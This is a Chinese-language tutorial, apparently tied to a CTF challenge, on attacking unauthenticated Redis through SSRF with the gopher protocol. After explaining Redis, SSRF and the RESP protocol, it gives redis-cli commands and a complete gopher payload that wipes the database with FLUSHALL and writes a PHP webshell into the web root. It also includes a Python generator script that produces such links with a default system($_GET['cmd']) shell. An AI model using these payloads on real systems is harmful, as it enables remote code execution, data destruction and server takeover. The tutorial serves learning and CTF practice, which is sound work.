0x00 概述
Redis
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
一般人们把数据库(mysql等)中常用的数据,放入到Redis中,作为数据库缓存,来提高性能。
SSRF
如图所示,SSRF(Server-Side Request Forgery:服务器端请求伪造)就是利用能够被外网访问的Web服务器来访问并攻击与其在同一内网中的其他主机。
Gopher
Gopher 协议是 WWW出现之前,在 Internet 上常见且常用的一个协议。现在 Gopher 协议已经慢慢淡出历史。
虽然Gopher渐渐淡出历史,但是我们仍然可以在一些特定情况下,SSRF可以使用它来攻击内网中的服务器
0x01 Redis未授权访问漏洞
介绍
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
Redis默认的端口是6379,如果没有进行一些安全配置,并且可以被远程登录,就会造成未授权访问漏洞。以下以写入Webshell为例。
0x02 Redis写入Webshell
redis-cli -h 192.168.3.134 #连接Redis
config set dir var/www/html #设置要写入shell的路径 (将redies的数据快照目录设置为…)
set your_key “\n\n\n\n\n\n” #写入shell到your_key键
config set dbfilename shell.php #设置快照文件名为…
save #将当前 Redis 实例的所有数据快照(snapshot)保存到硬盘
通过以上命令,我们便可以在var/www/html
下写入一个shell.php
, 但是是在shell里执行的,如果要在URL中发出一个Redis的请求,我们需要了解一下Redis客户端和服务端通信使用的RESP协议。
0x03 Redis的RESP协议
举个例子
redis> SET mykey "Hello"
"OK"
上面的命令将键mykey
的值设置为Hello
则发送的请求为
*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$5\r\nHello\r\n
*3
表示参数数量为3,即:set、mykey、hello
$3
表示参数字节数为3,即:set的字节数为3,***$5***同理|
收到的响应即为
+OK\r\n
0x04 利用SSRF中的Gopher协议进行攻击
payload的构造
这里借助GITHUB上的Gopherus中的payload来说明
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$37
<?php echo system("cat /flag");?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
flushall把数据库中的所有key删除(😅大概是怕了键名冲突吧,把别人键全删了,怪不好的)
脚本
def get_Redis_PHPShell():
web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m")
php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m")
default = "<?php system($_GET['cmd']); ?>"
if(not php_payload):
php_payload = default
if(not web_root_location):
web_root_location = "/var/www/html"
payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$""" + str(len(php_payload) + 4) + """\r
""" + php_payload + """
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(web_root_location)) + """\r
""" + web_root_location + """\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r
"""
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m"
print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
如果你把之前写的都看过了,看懂这个脚本应该没有问题。
0x05 参考文章
GKCTF2020-EZ三剑客-EzWeb | M4XLMUM (a16n.github.io)
Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户
图解Redis通信协议 - 简书 (jianshu.com)
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)